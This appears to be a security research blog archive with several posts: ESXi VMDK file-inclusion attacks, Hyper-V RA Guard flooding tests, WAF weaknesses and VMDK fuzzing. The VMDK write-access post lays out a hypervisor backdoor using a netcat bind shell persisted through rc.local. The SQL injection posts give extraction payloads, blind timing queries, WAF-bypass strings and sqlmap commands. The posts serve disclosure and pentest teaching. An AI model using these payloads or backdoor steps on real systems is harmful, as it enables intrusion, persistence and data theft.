Breaking

VMDK Has Left the Building – Write Access

In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.

First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:

  • /bootbank → contains several archives which build the hypervisors filesystem once they are unpacked
  • /altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update
  • /scratch → mainly log files and core dumps stored here
  • /vmfs/volumes/datastoreX → storage for virtual machine files

The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.

While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:

Virtual Machine:

attx kernel: [93.238762] sd 0:0:0:0: [sda] Unhandled sense code
attx kernel: [93.238767] sd 0:0:0:0: [sda]  Result: hostbyte=invalid
                         driverbyte=DRIVER_SENSE
attx kernel: [93.238771] sd 0:0:0:0: [sda]  Sense Key : Data Protect [current]
attx kernel: [93.238776] sd 0:0:0:0: [sda]  Add. Sense: No additional sense information
attx kernel: [93.238780] sd 0:0:0:0: [sda] CDB: Write(10): 2a 00 02 04 bd 20 00 00 08 00
attx kernel: [93.238790] end_request: critical target error, dev sda, sector 33864992
attx kernel: [93.239029] Buffer I/O error on device sda, logical block 4233124
attx kernel: [93.239181] lost page write due to I/O error on sda

Hypervisor:

cpu0:2157)WARNING: NMP: nmpDeviceTaskMgmt:2210:Attempt to issue lun reset on device
                        naa.600508b1001ca97740cc02561658c136. This will clear any
                        SCSI-2 reservations on the device.
cpu0:2157)<4>hpsa 0000:05:00.0: resetting device 6:0:0:1
cpu0:2157)<4>hpsa 0000:05:00.0: device is ready

Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.

Fortunately (at least from an attacker’s point of view 😉 ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:

  • Include the device holding the /bootbank partition.
  • Write to the /bootbank partition.
  • Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).
  • Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.

The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc.  The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:

  • Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.
  • Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and libvmlibs.so from any ESXi installation.
  • Modify or add files.
  • Repack the archive.
  • Deploy the modified archive to /bootbank using the write access.

Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:

<ConfigRoot>
  <service id='0000'>
    <id>sshServer</id>
    <rule id='0000'>
      <direction>inbound</direction>
      <protocol>tcp</protocol>
      <porttype>dst</porttype>
      <port>22</port>
    </rule>
    <enabled>false</enabled>
    <required>false</required>
  </service>
[...]
</ConfigRoot>

The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.

Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.

For example to open port 42000:

<ConfigRoot>
  <service id="0000">
    <id>remote Bind Shell</id>
    <rule id="0000">
      <direction>inbound</direction>
      <protocol>tcp</protocol>
      <porttype>dst</porttype>
      <port>4444</port>
    </rule>
    <enabled>true</enabled>
    <required>false</required>
  </service>
</ConfigRoot>

This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.

The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:

netcat -l -p 4444 -e /bin/sh.

Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:

/etc/netcat –l –p 4444 –e /bin/sh &

Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:

  • Include the /bootbank partition using our well-known attack path
  • Unpack /bootbank/s.v00
  • Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall
  • Add the netcat binary to /path/to/extracted/etc/nc
  • Add the above line to  /path/to/extracted/etc/rc.local
  • Wait for the next reboot of the hypervisor (or our post on the potential DoS 😉 )

At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.

 

Enjoy!

Pascal & Matthias

Continue reading
Breaking

A First Glance – RA Guard Support in Hyper-V 3.0

Last week I read about the new networking features of the integrated vSwitch of Hyper-V 3.0. I was quite surprised that RA Guard will be natively supported and was curious about implementation and functionality. If you don’t know how RA Guard  works, I recommend reading our previous blog posts here, here, here, here and here, or have a look at our workshop at Troopers12.

I downloaded Windows Server 2012 RC to do some practical testing. Since my girlfriend was working the whole weekend, I had plenty of time to play around with all that stuff without risking trouble 😉

I installed the  RC and  Hyper-V role on one of our lab systems.

The basic setup looks as follows:

Two VMs were installed (one Windows 7 box and one Backtrack 5) and connected to the same vSwitch and were part of the same layer-2 domain (as RAs only matter in a layer-2 domain). A layer-3 switch was the legitimate router sending RAs so that the Windows 7 box configured appropriately. All tests were done with the THC-IPv6 suite from Marc Heuse.  The IPv6 configuration of the Windows 7 box looks as follows:

Before starting my tests, I wanted to verify that all is working correctly. So I began sending rogue RAs from a Backtrack VM.

Nothing special here, the Windows 7 box received the RA and configured an IPv6 address from the supplied prefix.

After the verification succeeded I enabled RA Guard in the settings of the network adapter on the Backtrack VM.

To structure the tests a little bit, I created a small test plan on what and how I wanted to test:

Test 1 – Sending Rogue RA’s with RA Guard enabled

The first test included sending of (non-fragmented) RAs with RA Guard enabled on the VM.

Test 1 – Results

Again I started to send Rogue RAs like I already did before.

As I expected, the RAs got filtered by the vSwitch and are not seen on the Windows 7 box (only the legitimate RAs from fe80::1).

Consequently, the IPv6 configuration did not change.

Test 1.1 – Sending Fragmented Rogue RAs with RA Guard enabled

In the next test I wanted to figure out how the vSwitch handles fragmented RAs with a ICMPv6 header being only present in the second fragment.

Test 1.1 – Results

I started to send fragmented RAs with an additional Destination Header to force fragmentation.

Interestingly, the first fragment with the destination header passed the vSwitch and arrived at the Windows 7 box. However, the second fragment with the ICMPv6 header got filtered by the vSwitch. You can see the legitimate RAs in between the fragments.

Like in test before, the IPv6 configuration of the client did not change and the received fragment did not have any impact on the CPU load of the box.

Interim Conclusion

The RA Guard implementation of the vSwitch in Hyper-V reliably filters router advertisements from a VM whether or not they are fragmented. This is good thing. Unfortunately I couldn’t find any entries in the event viewer (or elsewhere) indicating that a VM started to send RAs. This just hides the problem without really addressing it. As an administrator of a virtualized environment I would want to know when a VM starts to send RAs, in order to take appropriate measures.

Test 2 – Flooding RA’s with RA Guard Enabled

In the next test, I wanted to find out how the vSwitch (or better the physical Hypervisor) behaves when a lot of RAs are generated by a VM.  For this test, the flood_router 6 module was used.

I started to flood RAs from the Backtrack VM.

The RAs were filtered by the vSwitch and didn’t reach the Windows 7 Box. I got the same result in Wireshark as in the test before. Only the legitimate RAs were seen by the VMs.

The more interesting thing I noticed, was the CPU load of the physical Hypervisor jumping to around 25% (occupying a whole CPU ) as soon as I started  flooding.

btw: That’s how the new task manager looks like in Windows Server 2012

I started wondering:  If one VM flooding RAs can produces 25% CPU load, what happens if more than one VM starts to flood RAs? Let’s find out…

… with three additional instances of the Backtrack VM for a total of four.

I had some trouble getting all 4 working simultaneously because the flood_router6 module exited quite a few times (which is fixed in version 1.9). That’s why you see those variations in the CPU load. If looking at the point where the CPU load was nearly zero, you can see how it increases in 25% steps, based on how many VMs started to flood RAs. However, even with four VMs flooding in parallel the CPU load stalled at around 75%. But this may be only a matter of how many VMs are flooding RAs.

 

Test 2.1 – Flooding RA’s with fragmented RA Guard Enabled

As we now knew about the impact on the Hypervisor when one or more VMs start to flood RAs, I wanted to know if anything changes for fragmented RAs.

I started to flood  fragmented RAs with an additional Destination Header to see what happens.

The result equals as for Rogue RAs. The first fragment hit the Windows 7 box, but the second fragment got filtered by the vSwitch.

The received fragments did not have any impact on the CPU load of the Windows 7 box.

As before,  I was mostly interested in the Hypervisor’s behavior.

Interestingly, the CPU load doubles as soon as fragmented RAs are sent by one VM.

Increasing the VM count to four again at this point appears to be obvious.

The CPU load increases to 90% on average, which is quite huge for just four VMs sending a lot of  (fragmented) RAs. Other VMs are not directly affected from the RAs. However, a Hypervisor running out of resources is never a good thing.

Final Conclusion –Well said Mister but does this really matter?

I think it does, because Windows Server 2012 is positioned as “cloud operating system”. As a cloud provider, you typically want to give your customers the ability to spin up as many virtual machines as they like. When a malicious customer can exhaust the Hypervisor’s resources, normal customers will be affected as well. In particular if exhausting resources can be done so easily.

Be aware that these tests were done with the Release Candidate, and it might be possible that the final version of Windows Server 2012 behaves differently. We have to wait and see ;). I will definitely run the tests again when Windows Server 2012 ships.

So what can we do to address this issue? Unfortunately I don’t have a definite answer as of right now. Without knowing the codebase it’s hard to say how this behavior could be prevented or improved. So far it’s up the vendor to address this issue and customers (or pentester’s) duty to point at it…

One thing Microsoft could do is just to disconnect the virtual NIC if too many RAs were send from a VM in order to protect the resources of the Hypervisor.

Have a great week,
Chris

Continue reading
Breaking

The Web Application Firewall Story continues

Some days ago another advisory related to a web application firewall (WAF) product was published. This time the product Airlock by Ergon was affected by a vulnerability that combines Encoding and NULL Byte attacks to circumvent the pattern based detection engine. We have described these attacks in detail in our newsletter “Web Application Firewall Security and The Swiss Army Knife for Web Application Firewalls” because they belong to a well known category of attacks against WAFs.

The product is commonly used in the swiss banking industry to ensure PCI DSS compliance and serves as another proof that WAFs can’t protect web applications from skilled attackers as already stated by me in an earlier post that you can find here. Beside these “5 myths of web application firewalls” we can also look at WAFs based on the typical attack vectors against web applications:

These attack vectors are described in detail in the famous “Web Application Hackers Handbook” and if you’re doing web application assessments they belong to the mandatory test methodology. Based on our WAF research we have compiled a little nice diagram that reflects the technical capabilities of WAFs to protect against these attack vectors:

As you can see especially authorization (user A can access data of user B) attacks and also logic flaws can not be addressed by WAFs because they can not be detected by pattern matching and even by whitelisting approaches. By the way when testing banking web applications one of the most relevant questions to answer is “can customer A see account information of customer B” :-). This raises the question “Why is the banking industry using WAFs to protect their customers data instead of fixing vulnerabilities in their applications or in general ensuring the quality?”. And again, finally we end up realizing that implementing a Security Development Lifecycle (SDL) would fulfill our “security needs” in a more effective way, but this time just from an attackers point of view.

Have a great day
Michael

Continue reading
Breaking

VMDK Has Left the Building — FAQ

As we are receiving a lot of questions about our VMDK has left the building post, we’re compiling this FAQ post — which will be updated as our research goes on.

 

How does the attack essentially work?

By bringing a specially crafted VMDK file into a VMware ESXi based virtualization environment. The specific attack path is described here.

 

What is a VMDK file?

A combination of two different types of VMDK files, the plain-text descriptor file containing meta data and the actual binary disk file, describes a VMware virtual hard disk. A detailed description can be found here.

 

Are the other similar file formats used in virtualization environments?

Yes, for example the following ones:

  • VDI (used by e.g. Xen, VirtualBox)
  • VHD (used by e.g. HyperV, VirtualBox)
  • QCOW (used by e.g. KVM)

 

Are those vulnerable too?

We don’t know yet and are working on it.

 

Which part of VMDKs files is responsible for the attack/exposure?

The so-called descriptor file, describing attributes and structure of the virtual disk (See here for a detailed description).

 

How is this to be modified for a successful attack?

The descriptor file contains paths to filenames which, combined, resemble the actual disk. This path must be modified so that a file on the hypervisor is included (See here for a detailed description).

 

How would you call this type of attack?

In reference to web hacking vulnerabilities, we would call it a local file inclusion attack.

 

What is, in your opinion, the root cause for this vulnerability?

Insufficient input validation at both cloud providers and the ESXi hypervisor, and a,  from our point of view, misunderstanding of trust boundaries, such as that one should “not import virtual machines from untrusted sources”.

 

Does this type of attack work in all VMware ESX/vSphere environments?

Basically, the ESXi5 and ESXi4 hypervisor are vulnerable to the described attack as of June 2012. Still, the actual exploitability depends on several additional factors described here.

 

Can this type of attack be performed if there’s no VMDK upload capability?

No.

 

Which are typical methods of uploading VMDK files in (public) cloud environments?

E.g. Web-Interface, FTP, API, …

 

Which are typical methods of uploading VMDK files in corporate environments?

In addition to the mentioned ones, direct deployment to storage, vCloudDirector, …

 

Will sanitizing  the VMDK (descriptor file) mitigate the vulnerability?

Yes, absolutely.

From our perspective this should not be too difficult to implement. There are basically two steps:

  • Striping leading directory paths/relative paths from the path to be included
  • Restricting included files to customer-owned directories

However a certain knowledge about the specific storage/deployment architecture is necessary in order to sanitize the VMDK descriptor file and not break functionality.

 

Will VMware patch this vulnerability?

Probably yes. They might do so “silently” though (that is without explicitly mentioning it in an associated VMSA) as they have done in the past for other severe vulnerabilities (e.g. for this one).

 

Could you please describe the full attack path?

All steps are described here.

More details can be found in a whitepaper to be published soon. Furthermore we will provide a demo with a simplified cloud provider like lab (including, amongst others, an FTP interface to upload files and a web interface to start machines) at upcoming conferences.

 

Do you need system/root access to the hypervisor in order to successfully carry out the attack?

No. All necessary information can be gathered during the attack.

 

What is the potential impact of a successful attack?

Read access to the physical hard drives of the hypervisor and thus access to all data/virtual machines on the hypervisor. We’re still researching on the write access.

 

Which platforms are vulnerable?

As of our current state of research, we can perform the complete attack path exclusively against the ESXi5 and ESXi4 hypervisors.

 

In case vCloud Director is used for customer access, are these platforms still vulnerable?

To our current knowledge, no. But our research on that is still in progress.

  

Are OVF uploads/other virtual disk formats vulnerable?

Our research on OVF is still in progress. At the moment, we cannot make a substantiated statement about that.

 

Is AWS/$MAJOR_CLOUD_PROVIDER vulnerable?

Since we did not perform any in the wild testing, we don’t know this yet. However, we have been contacted by cloud providers in order to discuss the described attack.

Given AWS does not run VMware anyways they will most probably not be vulnerable.

 

Is it necessary to start the virtual machine in a special way/using a special/uncommon API? 

No.

 

Which VMware products are affected?

At the moment, we can only confirm the vulnerability for the ESXi5 and ESXi4 hypervisors. Still, our research is going on 😉 

 

Stay tuned,

Matthias and Pascal

 

Continue reading
Breaking

SQL Injection Testing for Business Purposes Part 3

Extract the data

If you want to extract some data from a database you first need to gather knowledge about the internal structure of the database.

One of the first steps (after determining the database type) is enumerating the available tables and the corresponding columns. Most database systems have a meta database called information_schema. By querying this database it is possible to get information about the internal structure of the installed databases. For example you could get the tables and their corresponding columns in MS SQL and MySQL by injecting “SELECT table_name, column_name FROM information_schema.columns“. Oracle databases have their own meta tables, so you have to handle them differently. For getting the same output in Oracle, you have to query the all_tab_columns table (or user_tab_columns if you only want to search in the currently selected database). If the found vulnerability only allows to receive a single column (or if it is too complicated to identify two columns in the server response) you could concatenate the columns to one single string, e.g. in Oracle: “SELECT table_name||':'||column_name FROM all_tab_columns“.

A much more frequent problem you have to deal with is that only the first row of a result-set is returned. To get all table and column names you have to iterate over the results. It is helpful to determine the expected row count first by injecting a “SELECT COUNT(column_name) FROM all_tab_columns“. Iterating over the results in MySQL is simple: “SELECT table_name, column_name FROM information_schema.columns LIMIT $start,1” (where $start denotes the current offset in the result-set). MS SQL doesn’t support to specify ranges for the results. This is why you have to combine several select statements to get the same result:

SELECT TOP 1 table_name, column_name FROM (SELECT TOP $start table_name, column_name FROM information_schema.columns ORDER BY table_name DESC) ORDER BY table_name ASC

(where $start denotes the row number you want to extract).

If you are confronted with a large database, it is always easier to search for interesting column names instead of tables. So you can combine the mentioned query statements with where clauses to search for columns which contain ‘pass’ or ‘user’.

If the found vulnerability is a blind or totally blind SQL injection, you have to use boolean expressions to extract some data. One approach is getting the database username (or any other data) by doing a binary search with the procedures ASCII and SUBSTR.

For example on Oracle databases you would get the first character of an username by injecting “ASCII(SUBSTR(username, 1,1))” into the where clause. To do a binary search on ‘Admin’ you would do “ASCII(SUBSTR(username, 1, 1)) < 128” which results in true. The next value to compare with is 64 (which is right in the middle of 0 and 128). This time the query would fail because the ascii value of ‘A’ is 65. Now you compare with 96 (the middle of 64 and 128) and so on, until you reach 65. After that you will treat the remaining characters in the same way.The following excerpt is an output from sqlninja (which will be covered again later on), which uses this technique in an automated way on a totally-blind SQLi vulnerability:
[ … ]
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 55 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 67 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 73 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 76 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 77 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------

Here he found the first character: N
and now continues with the second:

++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),2,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------

[ … ]

Essential Tools

As the manual extraction of data can be quite time consuming, the usage of automated tools becomes essential. There are various tools that may help identifying and exploiting SQLi vulnerabilities. One of them is sqlmap, which concentrates on blind SQL injection, it comes with many options and supports a lot of different Database Servers (amongst them MS-SQL, MySQL, Oracle and PostgreSQL) which is one of the reasons why it is covered in this article. The extraction process is very intuitive and sqlmap tries to identify automatically the sort of SQLi (Blind, totally blind …) if not specified, so it is easy to get it up and running in a few minutes. We are not going into great detail, as this would go beyond the scope, but are showing a few commands which may already suffice to let sqlmap extract all available data from the database. Prerequisite for the following scenario is an already identified SQLi Vulnerability:

The first command tries to enumerate all available databases using the vulnerable parameter “txtUserName”:

sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTCvfGeXKasVQXuFgQtgqym\& txtUserName=\&txtPassword=\&Button1=OK --dbms=mssql --dbs -p txtUserName

The next command enumerates all available table names of the found databases without the need to specify the database names as all gathered information are stored in a local progress file and automatically used for all further attacks:(This feature becomes important as soon as the amount of already collected data gets vastly large.)

sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTCvfGeXKasVQXuFgQtgqym\& txtUserName=\&txtPassword=\&Button1=OK --dbms=mssql --tables -p txtUserName

After using the same command but with the –columns option instead of –tables, enough necessary information were gathered to identify potential interesting tables of which now data can be extracted from. As this process might sometimes last too long, it is also possible to search for specific column names like “password” with the –search option. If however time doesn’t matter or the content is expected to be not very large, the –dump-all option may be used to extract all data contained in all databases.

As SQLi vulnerabilities enable an attacker not only to extract data, but sometimes also to execute system level commands, it is possible, and most tools offer such an option, to upload and execute binary files like e.g. netcat, resulting in an interactive shell with the same rights of the SQL server process (in the worst case root/administrative rights).Going one step further, sqlmap respectively sqlninja (a handy and in some cases less buggier than some others, but MS-SQL only SQLi tool) are able to use the exploitation framework Metasploit, which offers various attack payloads like “Creation of an administrative user” or a “Reverse-TCP shell”.In that way it is for example possible, to upload the powerful Meterpreter payload using an existing SQL injection vulnerability within a web application. Once started, Meterpreter enables system level access and can be used (depending on the rights of the database server process respectively the patch status of the underlying system) to extract system level data and utilize the database server as a jump host to an internal network or to exploit a local privilege escalation vulnerability to gain administrative rights.

An attacker uses an existing SQL injection vulnerability to upload and execute the meterpreter payload, then added a route entry within metasploit, making the internal network of the SQL server accessible through the meterpreter session and is now able to scan and attack systems behind the server, which would normally be not reachable from the attacker side.

Rating of the findings

After doing all the testing stuff, there’s one important step missing, at least if we are talking about a professional pentest. The criticality rating of findings is a mandatory task in the course of a pentest. On the one hand, the comparative value of the rating must be guaranteed, on the other hand, the rating must be appropriate for the environment which is in scope of the pentest. Based on these requirements, we propose the Common Weakness Scoring System as an appropriate metric for the rating of web application related security findings like SQL injection.The design considerations of CWSS include the applicability for  scoring processes as well as the integration of stakeholder concerns or environmental requirements. These considerations result in the definition of three different metric groups which each contain different factors:

Different entities may evaluate separate factors at different points in time. As such, every CWSS factor effectively has “environmental” or “temporal” characteristics. Different pre-defined values can be assigned to each factor and each factor also has a default value. The different values for the single factors are explained in detail here:

CWSS uses also a reliability factor, so the factor Finding Confidence is explained as an example above.

All factors will be combined using a formula, which results in a value between 0 and 100. The higher a weakness is scored, the higher is the associated criticality. Regarding the formula and the used factors and weights, the CWSS allows a precise, comparable, and reproducible rating of vulnerabilities in the context of web application pentests. The rating will also help the application owner to prioritize the findings and use the always limited resources for the most critical issues.

Final Conclusion

Bringing the mentioned steps of the methodology together, you can follow a small checklist to identify all SQL injection issues in an application and help the application owner to mitigate the most severe problems. But every shortening of the test steps will have a negative influence on your success rate and the acceptance of the results:

1. Identify all input vectors
2. Test all input vector with a set of test signatures
3. Identify the database
4. Exploit the SQL injection vulnerability to proof the existence and avoid any discussions
5. Rate the criticality of the findings based on a metric

… the end 🙂

Thanks for following us and staying tuned to wait for all the parts of this article. If you missed one or both of the earlier posts, don’t forget to read “SQL Injection Testing for Business Purposes Part 1” and “SQL Injection Testing for Business Purposes Part 2” to get it all.

Michael, Timo and Frank from the Appsec Team

Continue reading
Breaking

Fuzzing VMDK files

As announced at last week’s #HITB2012AMS, I’ll describe the fuzzing steps which were performed during our initial research. The very first step was the definition of the interfaces we wanted to test. We decided to go with the plain text VMDK file, as this is the main virtual disk description file and in most deployment scenarios user controlled, and the data part of a special kind of VMDK files, the Host Sparse Extends.

The used fuzzing toolkit is dizzy which just got an update last week (which brings you guys closer to trunk state 😉 ).

The main VMDK file goes straight forward, fuzzing wise. Here is a short sample file:

# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=fffffffe
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 40960 VMFS "ts_2vmdk-flat.vmdk"
# The Disk Data Base
#DDB
ddb.virtualHWVersion = "8"
ddb.longContentID = "c818e173248456a9f5d83051fffffffe"
ddb.uuid = "60 00 C2 94 23 7b c1 41-51 76 b2 79 23 b5 3c 93"
ddb.geometry.cylinders = "20"
ddb.geometry.heads = "64"
ddb.geometry.sectors = "32"
ddb.adapterType = "buslogic"

 

As one can easily see the file is plain text and is based upon a name=value syntax. So a fuzzing script for this file would look something link this:

name = "vmdkfile"
objects = [
    field("descr_comment", None, "# Disk DescriptorFile\n", none),

    field("version_str", None, "version=", none),
    field("version", None, "1", std),
    field("version_br", None, "\n", none),

    field("encoding_str", None, "encoding=", none),
    field("encoding", None, '"UTF-8"', std),
    field("encoding_br", None, "\n", none),
    [...]
    ]
functions = []

 

The first field, descr_comment, and the second field, version_str,  are plain static, as defined by the last parameter, so they wont get mutated. The first actual fuzzed string is the version field, which got a default value of the string 1 and will be mutated with all strings in your fuzz library.

As the attentive reader might have noticed, this is just the first attempt, as there is one but special inconsistency in the example file above: The quoting. Some values are Quoted, some are not. A good fuzzing script would try to play with exactly this inconsistency. Is it possible to set version to a string? Could one set the encoding to an integer value?

The second file we tried to fuzz was the Host Sparse Extend, a data file which is not plain data as the Flat Extends, but got a binary file header. This header is parsed by the ESX host and, as included in the data file, might be user defined. The definition from VMware is the following:

typedef struct COWDisk_Header {
    uint32 magicNumber;
    uint32 version;
    uint32 flags;
    uint32 numSectors;
    uint32 grainSize;
    uint32 gdOffset;
    uint32 numGDEntries;
    uint32 freeSector;
    union {
        struct {
            uint32 cylinders;
            uint32 heads;
            uint32 sectors;
        } root;
        struct {
            char parentFileName[COWDISK_MAX_PARENT_FILELEN];
            uint32 parentGeneration;
        } child;
    } u;
    uint32 generation;
    char name[COWDISK_MAX_NAME_LEN];
    char description[COWDISK_MAX_DESC_LEN];
    uint32 savedGeneration;
    char reserved[8];
    uint32 uncleanShutdown;
    char padding[396];
} COWDisk_Header;

 

Interesting header fields are all C strings (think about NULL termination) and of course the gdOffset in combination with numSectors and grainSize, as manipulating this values could lead the ESX host to access data outside of the user deployed data file.

So far so good, after writing the fuzzing scripts one needs to create a lot of VMDK files. This was done using dizzy:

./dizzy.py -o file -d /tmp/vmdkfuzzing.vmdk -w 0 vmdkfile.dizz

 

Last but not least we needed to automate the deployment of the generated VMDK files. This was done with a simple shell script on the ESX host, using vim-cmd, a command line tool to administrate virtual machines.

By now the main fuzzing is still running in our lab, so no big results on that front, yet. Feel free to use the provided fuzzing scripts in your own lab. Find the two fuzzing scripts here and here. We will share more results, when the fuzzing is finished.

Have a nice day and start fuzzing 😉

Daniel and Pascal

Continue reading
Breaking

SQL Injection Testing for Business Purposes Part 2

Take Care of the Database

There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload

' or 1=1 --

to

' or 1 --

One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL “waitfor delay” in other database management systems. For MySQL (before 5.0.42), the benchmark function may be used. E.g.:

benchmark(3000000,MD5(1))

For later versions:

sleep(5)

Respectively, Oracle supports an HTTP request function, which is expected to generate a delay if pointed to a non existing URL: utl_http.request('http://192.168.66.77/'). Alternatively, the following function may be useful:

DBMS_LOCK.SLEEP(5)

Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.

Another important difference is the missing MS-SQL “xp_cmdshell” on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sqlmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sqlmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). This table summarizes useful SQL functions.

How to Exploit SQL Injection

After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB. As for data extraction one of the most useful statements is UNION SELECT. However, the UNION SELECT approach doesn’t work in all situations. If,for example, injecting right after the select statement (e.g. “SELECT $INPUT_COLUMN_NAME FROM tablename;” ) and not after a WHERE clause, trying to extract data with UNION SELECT  leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying

(SELECT user FROM DUAL)

the SQL query doesn’t get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:

'|| (SELECT user FROM DUAL) ||'

The previous examples depend on any form of results from the application. In case the application doesn’t print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:

SELECT username FROM users WHERE username = '$NEW_USERNAME';

This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:

'|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) = 'abcd' THEN 'new_username' else 'EXISTING_USERNAME' END FROM DUAL)||'

Or in pseudo code:

If abcd equals abcd
return new_username
else
return EXISTING_USERNAME

Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.

How to get around Web Application Firewalls

In some situations, the application might filter specific attack strings or a Web Application Firewall (WAF) is deployed in front of the web servers/applications. In these cases, being creative is essential. For example, instead of injecting

' or 'a'='a

we already circumvented a WAF by supplying a slightly modified version of this payload:

' or 'a='='a=

If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:

' or 1 --

It is also very likely, that one single quote doesn’t cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:

abc'def

In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.

